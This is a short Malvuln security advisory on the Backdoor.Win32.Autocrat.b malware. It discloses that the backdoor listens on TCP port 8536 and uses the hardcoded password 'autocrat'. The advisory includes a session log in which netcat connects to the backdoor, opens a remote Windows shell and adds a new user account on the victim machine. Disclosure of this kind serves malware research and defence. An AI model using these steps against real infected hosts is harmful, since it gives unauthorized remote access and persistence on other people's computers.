Backdoor.Win32.Autocrat.b MVID-2022-0660 Weak Hardcoded Credential

Backdoor.Win32.Autocrat.b malware suffers from a weak hardcoded credential vulnerability.

SHA-256 | d7a1dbe69c51797b7a119cf51d50bfdc0cf2f5d6383559a3c42e0b551d24f2ff

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
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Threat: Backdoor.Win32.Autocrat.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware is packed with PeCompact, listens on TCP port 8536 and requires authentication. However, the password "autocrat" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password.
Family: Autocrat
Type: PE32
MD5: 4262a8b52b902aa2e6bf02a156d1b8d4
Vuln ID: MVID-2022-0660
Dropped files: srvsupp.exe
Disclosure: 11/24/2022

C:\Users\gg\Desktop>nc64.exe x.x.x.x 8536

WinShell v5.0 (C)2002

? for help

i Install
r Remove
p Path
b reBoot
d shutDown
s Shell
x eXit
q Quit


? for help
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.


C:\Users\Victim\Desktop>net user apparitionsec 666 /add
net user apparitionsec 666 /add
The command completed successfully.


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